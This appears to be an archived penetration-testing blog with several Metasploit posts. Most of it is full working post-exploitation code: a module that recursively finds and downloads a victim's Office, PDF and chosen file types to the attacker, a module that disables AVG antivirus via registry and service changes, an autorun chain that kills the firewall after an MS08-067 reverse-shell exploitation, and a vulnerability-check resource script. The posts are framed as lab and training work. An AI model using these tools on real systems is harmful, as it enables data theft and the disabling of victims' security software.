Archive | Penetration testing RSS for this section

Gathering files via post exploit module

While being a procrastinator instead of studying for the SMFE, I worked on a module that would be helpful in grabbing files from an exploited machine. I reviewed some of the previous metasploit scripts written by the great Carlos Perez. He has written many scripts and is a contributor to the metasploit framework on a regular basis. With his generous guidance, I was able to finish up this post exploit module within a day. I will add a section for windows server when I get a chance.

require 'msf/core'
require 'msf/core/post/file'
class Metasploit3 < Msf::Post

	include Msf::Post::File

	def initialize(info={})
		super( update_info( info,
			'Name'          => 'Windows Gather Docs',
			'Description'   => %q{ This module gathers specific files from user directories. },
			'License'       => BSD_LICENSE,
			'Author'        => [ '3vi1john Jbabio@me.com'],
			'Version'       => '$Revision: 20 $',
			'Platform'      => [ 'windows' ],
			'SessionTypes'  => [ 'meterpreter' ]
		))

		register_options(
			[
				OptBool.new(  'GETDOC',   [ false, 'Search and download all .doc files.', false]),
				OptBool.new(  'GETDOCX',   [ false, 'Search and download all .docx files.', false]),
				OptBool.new(  'GETXLS',   [ false, 'Search and download all .xls files.', false]),
				OptBool.new(  'GETXLSX',   [ false, 'Search and download all .xlsx files.', false]),
				OptBool.new(  'GETPDF',   [ false, 'Search and download all .pdf files.', false]),
				OptBool.new(  'GETDRIVES', [ false, 'Search for a list of drives and display drive letters.', false]),
				OptString.new(  'SEARCH_FROM', [ false, 'Search from a specified location. Ex. C:\\, Run GETDRIVES first.']),
				OptString.new(  'FILE_TYPE', [ false, 'Search for a specific file type based on extension. Ex *.gnmap, *.nbe'])
			], self.class)
	end

	def get_drives
	##All Credit Goes to mubix for this railgun-FU
		a = client.railgun.kernel32.GetLogicalDrives()["return"]
		drives = []
		letters = "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
		(0..25).each do |i|
			test = letters[i,1]
			rem = a % (2**(i+1))
				if rem > 0
				drives << test
				a = a - rem
				end
			end
			print_status("Drives Available = #{drives.inspect}")
	end

	def download_doc_files
		location = datastore['SEARCH_FROM']
		file_type = "*.doc"
		dest = "/tmp"
		sysnfo = client.sys.config.sysinfo['OS']
		if datastore['SEARCH_FROM']
			getfile = client.fs.file.search(location,file_type,recurse=true,timeout=-1)
		elsif sysnfo =~/Windows XP|2003|.NET/
			getfile = client.fs.file.search("C:\\Documents and Settings",file_type,recurse=true,timeout=-1)
		else sysnfo =~/Windows 7|Windows Vista|2008/
			getfile = client.fs.file.search("C:\\Users",file_type,recurse=true,timeout=-1)
		end
		getfile.each do |file|
			print_status("Downloading #{file['path']}\\#{file['name']}")
			client.fs.file.download(dest, "#{file['path']}\\#{file['name']}")
			end
	end

	def download_docx_files
		location = datastore['SEARCH_FROM']
		file_type = "*.docx"
		dest = "/tmp"
		sysnfo = client.sys.config.sysinfo['OS']
		if datastore['SEARCH_FROM']
			getfile = client.fs.file.search(location,file_type,recurse=true,timeout=-1)
		elsif sysnfo =~/Windows XP|2003|.NET/
			getfile = client.fs.file.search("C:\\Documents and Settings",file_type,recurse=true,timeout=-1)
		else sysnfo =~/Windows 7|Windows Vista|2008/
			getfile = client.fs.file.search("C:\\Users",file_type,recurse=true,timeout=-1)
		end
		getfile.each do |file|
			print_status("Downloading #{file['path']}\\#{file['name']}")
			client.fs.file.download(dest, "#{file['path']}\\#{file['name']}")
			end
	end

	def download_xls_files
		location = datastore['SEARCH_FROM']
		file_type = "*.xls"
		dest = "/tmp"
		sysnfo = client.sys.config.sysinfo['OS']
		if datastore['SEARCH_FROM']
			getfile = client.fs.file.search(location,file_type,recurse=true,timeout=-1)
		elsif sysnfo =~/Windows XP|2003|.NET/
			getfile = client.fs.file.search("C:\\Documents and Settings",file_type,recurse=true,timeout=-1)
		else sysnfo =~/Windows 7|Windows Vista|2008/
			getfile = client.fs.file.search("C:\\Users",file_type,recurse=true,timeout=-1)
		end
		getfile.each do |file|
			print_status("Downloading #{file['path']}\\#{file['name']}")
			client.fs.file.download(dest, "#{file['path']}\\#{file['name']}")
			end
	end

	def download_xlsx_files
		location = datastore['SEARCH_FROM']
		file_type = "*.xlsx"
		dest = "/tmp"
		sysnfo = client.sys.config.sysinfo['OS']
		if datastore['SEARCH_FROM']
			getfile = client.fs.file.search(location,file_type,recurse=true,timeout=-1)
		elsif sysnfo =~/Windows XP|2003|.NET/
			getfile = client.fs.file.search("C:\\Documents and Settings",file_type,recurse=true,timeout=-1)
		else sysnfo =~/Windows 7|Windows Vista|2008/
			getfile = client.fs.file.search("C:\\Users",file_type,recurse=true,timeout=-1)
		end
		getfile.each do |file|
			print_status("Downloading #{file['path']}\\#{file['name']}")
			client.fs.file.download(dest, "#{file['path']}\\#{file['name']}")
			end
	end

	def download_pdf_files
		location = datastore['SEARCH_FROM']
		file_type = "*.pdf"
		dest = "/tmp"
		sysnfo = client.sys.config.sysinfo['OS']
		if datastore['SEARCH_FROM']
			getfile = client.fs.file.search(location,file_type,recurse=true,timeout=-1)
		elsif sysnfo =~/Windows XP|2003|.NET/
			getfile = client.fs.file.search("C:\\Documents and Settings",file_type,recurse=true,timeout=-1)
		else sysnfo =~/Windows 7|Windows Vista|2008/
			getfile = client.fs.file.search("C:\\Users",file_type,recurse=true,timeout=-1)
		end
		getfile.each do |file|
			print_status("Downloading #{file['path']}\\#{file['name']}")
			client.fs.file.download(dest, "#{file['path']}\\#{file['name']}")
			end
	end

	def download_ud_files
		location = datastore['SEARCH_FROM']
		file_type = datastore['FILE_TYPE']
		dest = "/tmp"
		sysnfo = client.sys.config.sysinfo['OS']
		if datastore['SEARCH_FROM']
			getfile = client.fs.file.search(location,file_type,recurse=true,timeout=-1)
		elsif sysnfo =~/Windows XP|2003|.NET/
			getfile = client.fs.file.search("C:\\Documents and Settings",file_type,recurse=true,timeout=-1)
		else sysnfo =~/Windows 7|Windows Vista|2008/
			getfile = client.fs.file.search("C:\\Users",file_type,recurse=true,timeout=-1)
		end
		getfile.each do |file|
			print_status("Downloading #{file['path']}\\#{file['name']}")
			client.fs.file.download(dest, "#{file['path']}\\#{file['name']}")
			end
	end

	def run
		begin
			if datastore['GETDRIVES']
				get_drives
			end
			if datastore['GETDOC']
				print_status("\tSearching for and downloading Office Word documents...")
				print_status("")
				download_doc_files
			end
			if datastore['GETDOCX']
				print_status("\tSearching for and downloading Office 2007+ Word documents...")
				print_status("")
				download_docx_files
			end
			if datastore['GETXLS']
				print_status("\tSearching for and downloading Office Excel spreadsheets...")
				print_status("")
				download_xls_files
			end
			if datastore['GETXLSX']
				print_status("\tSearching for and downloading Office 2007+ Excel spreadsheets...")
				print_status("")
				download_xlsx_files
			end
			if datastore['GETPDF']
				print_status("\tSearching for and downloading Adobe pdf files...")
				print_status("")
				download_pdf_files
			end
			if datastore['FILE_TYPE']
				download_ud_files
			end
			print_status("Done!")
		end
		rescue::Exception => e
			print_status("The following Error was encountered: #{e.class} #{e}")
		end
	end

Killing AVG2012

I was re-watching/restudying some of the videos for Metasploit Framework Expert. One video in particular “Lesson 7: Post Exploitation Kill AV and Bypass Firewall”, made me decided to automate the task with a post exploit module.

require 'msf/core'
require 'msf/core/post/file'
require 'msf/core/post/common'
require 'msf/core/post/windows/registry'


class Metasploit3 < Msf::Post

	include Msf::Post::Windows::Registry
	include Msf::Post::Common
	include Msf::Post::File

	def initialize(info={})
		super( update_info( info,
			'Name'          => 'Windows Manage Stop AVG',
			'Description'   => %q{ This module removes the AVG_tray from the run section of the registry. It also changes the startup mode of avg watchdog and AVGIDSAgent 
						from automatic to disabled. A reboot is needed to complete everything and to stop AVG from interfering with post exploitation tasks. },
			'License'       => MSF_LICENSE,
			'Author'        => [ '3vi1john Jbabio[at]me.com'],
			'Version'       => '$Revision: 30 $',
			'Platform'      => [ 'windows' ],
			'SessionTypes'  => [ 'meterpreter' ]
		))

		register_options(
				OptBool.new(  'REBOOT',   [ false, 'Reboot', false])
			], self.class)
		end

	def rem_avg_tray(cleanup_rc)
		arch = client.sys.config.sysinfo['Architecture']
		if arch =~/x86/
			key = "HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run"
			v = registry_enumvals(key)
			v.each do |enum|
				if enum == "AVG_TRAY"
					print_status("Found AVG_TRAY...")
					print_status("Removing AVG_TRAY...")
					registry_deleteval(key, enum)
					file_local_write(cleanup_rc,"reg setval -k \'HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\' -v 'AVG_TRAY' -t REG_SZ -d \"\"\\\"\"C:\\\\Program Files\\\\AVG\\\\AVG2012\\\\avgtray.exe\"\"\\\"\"")
				end
			end
		else arch =~/x64/
			key = "HKLM\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Run"
			v = registry_enumvals(key)
			v.each do |enum|
				if enum == "AVG_TRAY"
					print_status("Found AVG_TRAY...")
					print_Status("Removing AVG_TRAY...")
					registry_deleteval(key, enum)
					file_local_write(cleanup_rc,"reg setval -k \'HKLM\\SOFTWARE\\Wow6432Node\\Windows\\CurrentVersion\\Run\' -v 'AVG_TRAY' -d \"\"\\\"\"C:\\\\Program Files (x86)\\\\AVG\\\\AVG2012\\\\avgtray.exe\"\"\\\"\"")
				end
			end
		end
	end

	def dis_avg_serv(cleanup_rc)
		key = "HKLM\\SYSTEM\\CurrentControlSet\\Services\\avgwd"
		value = "Start"
		v = registry_getvaldata(key, value)
		if v == 2
			print_status("Service avgwd is set to Auto...")
			print_status("Changing avgwd service from auto to disabled...")
			cmd_exec('sc', 'config avgwd start= disabled', 30)
			file_local_write(cleanup_rc,"execute -H -f cmd.exe -a \"/c sc config avgwd start= auto\"")
		else v == 4
			print_status("Service avgwd is already Disabled...")
		end
		key = "HKLM\\SYSTEM\\CurrentControlSet\\Services\\AVGIDSAgent"
		value = "Start"
		if v == 2
			print_status("Service AVGIDSAgent is set to Auto...")
			print_status("Changing AVGIDSAgent service from auto to disabled...")
			cmd_exec('sc', 'config AVGIDSAgent start= disabled', 30)
			file_local_write(cleanup_rc,"execute -H -f cmd.exe -a \"/c sc config AVGIDSAgent start= auto\"")
		else v == 4
			print_status("Service AVGIDSAgent is already Disabled...")
		end
	end

	def run
		begin
			cleanup_rc = store_loot("host.windows.cleanup.kill_avg", "text/plain", session,"" ,"kill_avg_cleanup.rc", "kill_avg cleanup resource file")
			rem_avg_tray(cleanup_rc)
			dis_avg_serv(cleanup_rc)
			if datastore['REBOOT']
				session.console.run_single("reboot")
			end
			print_status("For cleanup execute Meterpreter resource file: #{cleanup_rc}")
		rescue ::Rex::Post::Meterpreter::RequestError => e
		end
			print_status("Done!")
		end
end

Automation is the name of the pentest game

Metasploit auto run scripts are great when you need a module to run automatically post exploitation. Getting a single script to run post meterpreter is pretty easy, but what if you wanted multiple post scripts to run? From the msfconsole prompt run: set AutoRunScript multi_console_command -rc “path/name of rc file”

msf > set AutoRunScript multi_console_command -rc /root/autoruncommands.rc

Inside of the rc file just list the commands one by one like so:

run post/windows/manage/migrate

run post/windows/manage/killfw

run post/windows/gather/checkvm

Now save the file autoruncommands.rc inside of the root folder. Don’t use killfw because you won’t find it in your install. It is a module I wrote to autokill the windows firewall.

Now lets watch it in action:

msf  exploit(ms08_067_netapi) > exploit

[*] Started reverse handler on 10.10.200.40:4444 
[*] Automatically detecting the target...
[*] Fingerprint: Windows XP - Service Pack 2 - lang:English
[*] Selected Target: Windows XP SP2 English (AlwaysOn NX)
[*] Attempting to trigger the vulnerability...
[*] Sending stage (752128 bytes) to 10.10.101.11
[*] Meterpreter session 6 opened (10.10.200.40:4444 -> 10.10.101.11:1125) at 2012-04-22 17:58:16 -0400

meterpreter > 
[*] Session ID 6 (10.10.200.40:4444 -> 10.10.101.11:1125) processing AutoRunScript 'multi_console_command -rc /root/autoruncommands.rc'
[*] Running Command List ...
[*] 	Running command run post/windows/manage/migrate
[*] Running module against XPVM-SP2
[*] Current server process: svchost.exe (1324)
[*] Spawning notepad.exe process to migrate to
[+] Migrating to 3984
[+] Successfully migrated to process 3984
[*] 	Running command run post/windows/manage/killfw
[+] Killing Windows Firewall...
[+] Done!
[*] 	Running command run post/windows/gather/checkvm
[*] Checking if XPVM-SP2 is a Virtual Machine .....
[*] This is a VMware Virtual Machine

Fixing db_nmap misidentified operating systems inside the metasploit host database

I was doing some scanning the other day against my test lab of VM’s. I noticed that nmap and db_nmap were seeing my windows XP machine as Server 2003. Nmap identified its OS details: Microsoft Windows XP Professional SP2 or Windows Server 2003. When it’s placed inside of the metasploit db, it has the os_flavor 2003. This could be a problem depending on resource scripts or when you attempt to use an exploit against the box.

135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn
443/tcp  open  https?
|_ssl-cert: ERROR
445/tcp  open  microsoft-ds  Microsoft Windows XP microsoft-ds <=========
1027/tcp open  msrpc         Microsoft Windows RPC
1433/tcp open  ms-sql-s      Microsoft SQL Server 2005 9.00.1399.00; RTM
3389/tcp open  microsoft-rdp Microsoft Terminal Service
MAC Address: 00:0C:29:91:D5:28 (VMware)

The scan shows 445/tcp and clearly says XP.
Here is that same machine’s info inside the database.

msf > hosts

Hosts
=====

address        mac                name            os_name            os_flavor  os_sp  purpose  info  comments
-------        ---                ----            -------            ---------  -----  -------  ----  --------
10.10.101.3    00:0c:29:5f:4f:b7  dc1             Microsoft Windows  2003       SP1    server         
10.10.101.5                       ns              Linux              Ubuntu            server         
10.10.101.8    00:0c:29:60:8a:e8  dc2             Microsoft Windows  2008              server         
10.10.101.11   00:0c:29:d4:bc:0d  winxpsp3-vm     Microsoft Windows  2003 <==== SP3    client 
10.10.101.109                                     Linux              Ubuntu            server         
10.10.101.110                                     Linux              Ubuntu            server         
10.10.101.111                     metasploitable  Unknown                              device         

Now the question is how do we fix this?
Start msfconsole and type irb.

msf > irb
[*] Starting IRB shell...

>> 

Now type:

host = framework.db.workspace.hosts.find_by_address("10.10.101.11")
host.os_flavor="XP"
host.save
exit

Change 10.10.101.11 to the IP address of the host you are trying to modify.
Now run the hosts command and see that the flavor is corrected.

Writing resource scripts for the Metasploit Framework

In December I purchased the certification course SMFE from security tube trainer Vivek Ramachandran. While watching the training videos, I started thinking of ways to speed up processes during a pentest engagement. With the dedault install of metasploit 4.2, you get postgresql database support. With this support you can import different 3rd party vulnerability scan reports, import xml nmap scans, add hosts manually, or run the db_nmap command which directly adds the hosts and services discovered. In the event I didn’t import a vulnerability scan into the database, I wanted a way to check the db list of hosts for easy exploitable vulnerabilities. I checked with Carlos Perez(darkoperator) and confirmed that resource scripts were the way to go. I couldn’t find much in the way of API documentation for these. My only source seemed to be the resource folder inside the scripts folder. There is enough code in each of the scripts that I was able to figure out how to accomplish what I wanted to do.  Basically there are two ways I could go about creating these scripts:

1. Create a comamand by command .rc file.

root@bt:~/.msf4# cat msfconsole.rc
set PAYLOAD windows/meterpreter/reverse_tcp
setg LHOST 10.10.200.40
set AutoRunScript post/windows/manage/migrate

2. Create a scripted file leveraging data in the datastore or database of hosts.

root@bt:/opt/metasploit/msf3/scripts/resource# cat auto_brute.rc
# auto_brute.rc
# Author: m-1-k-3 (Web: http://www.s3cur1ty.de / Twitter: @s3cur1ty_de)

# This Metasploit RC-File could be used to automate the bruteforce process
# the services are used from the already discovered service details of the database
# for this we need the service names in the db!
# VERBOSE is used from the global datastore
# THREADS is used from the global datastore
# USER_FILE and PASS_File is used from the global datastore

# WARNING: You could lock out users with this resource script!

#throttling if we get too much jobs
maxjobs = 8

wordlistpath = "#{Msf::Config.install_root}/data/wordlists"

if (framework.datastore['USER_FILE'] == nil)
# we are using the default unix wordlists
run_single("setg USER_FILE #{wordlistpath}/unix_users.txt")
end

I went with 2 beings I needed to access data located in the database of hosts. The script I am providing can be added to quite easily to leverage more auxiliary modules or exploits.

<ruby>
framework.db.hosts.each do |h|
       h.services.each do |serv|

if serv.port == 445 and h.os_flavor =~/XP|.NET Server|2003/i
                next if (serv.port != 445)
                print_good("#{h.address} seems to be Windows #{h.os_flavor}...")
                self.run_single("use exploit/windows/smb/ms08_067_netapi")
                print_good("Running ms08_067_netapi check against #{h.address}")
                self.run_single("set RHOST #{h.address}")
                self.run_single("check")
  
elsif serv.port == 5900 and h.os_name =~/Linux/i
                next if (serv.port != 5900)
                print_good("#{h.address} seems to be Linux #{h.os_flavor}...")
                self.run_single("use auxiliary/scanner/vnc/vnc_none_auth")
                print_good("Running VNC no auth check against #{h.os_flavor}")
                self.run_single("set RHOSTS #{h.address}")
                self.run_single("run")

else
        end
    end
end
</ruby>

To run this file launch msfconsole and at the prompt type:

msf > resource /root/checkvulns.rc

I have the file located in the root folder. It can also be placed in the scripts/resource folder. Here is the output of the script:

msf  exploit(ms08_067_netapi) > resource /root/checkvulns.rc
[*] Processing /root/checkvulns.rc for ERB directives.
[*] resource (/root/checkvulns.rc)> Ruby Code (829 bytes)
[+] 10.10.101.3 seems to be Windows .NET Server...
[+] Running ms08_067_netapi check against 10.10.101.3
RHOST => 10.10.101.3

[*] Verifying vulnerable status... (path: 0x0000005a)
[+] The target is vulnerable.
[+] 10.10.101.5 seems to be Linux Ubuntu...
[+] Running VNC no auth check against Ubuntu
RHOSTS => 10.10.101.5
[*] 10.10.101.5:5900, VNC server protocol version : 3.7
[*] 10.10.101.5:5900, VNC server security types supported : TLS,VNC
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
[+] 10.10.101.11 seems to be Windows XP...
[+] Running ms08_067_netapi check against 10.10.101.11
RHOST => 10.10.101.11
[*] Verifying vulnerable status... (path: 0x0000005a)
[+] The target is vulnerable.

Social-Engineer toolkit install on OSX Lion

So I purchased a new Macbook Pro 17″ i7 laptop. Very sweet Rig! I managed to get metasploit up and running by following the rapid 7 instructions and help from
Carlos Perez(Darkoperator). So besides metasploit on the laptop, I wanted SET installed. I didn’t look up directions and decided to wing it.

1. Lets pull down SET.

svn co http://svn.secmaniac.com/social_engineering_toolkit set/

2. There are some python prerequisites for SET to run properly. The first one is Pexpect.
To install first extract, cd into the folder, then run

sudo python setup.py install

3. The last prerequisite is BeautifulSoup
To install first extract just like above, cd into the folder, then run

sudo python setup.py install

Tortunnel on Backtrack 5r1 64bit

I ran into an issue installing tortunnel on my laptop yesterday. Tortunnel allows you to utilize the tor network for things like scanning during a pentest. I am running a fresh install of bt5r1 64bit. You first need tor and privoxy installed. Follow these Instructions in order to get both installed. Initially trying to run ./configure inside the tortunnel untared folder works. Running make seems to cause errors which complain about ssl and boost. So with a little digging I figured it out. The first thing missing is libssl-dev. This can be fixed by running:

apt-get install libssl-dev

The make script moves a little further but errors out once again complaining about missing boost files. So to fix the errors we issue these commands:

apt-get install libboost-dev 

and then

apt-get install libboost-system*

Now rerun the command

make && make install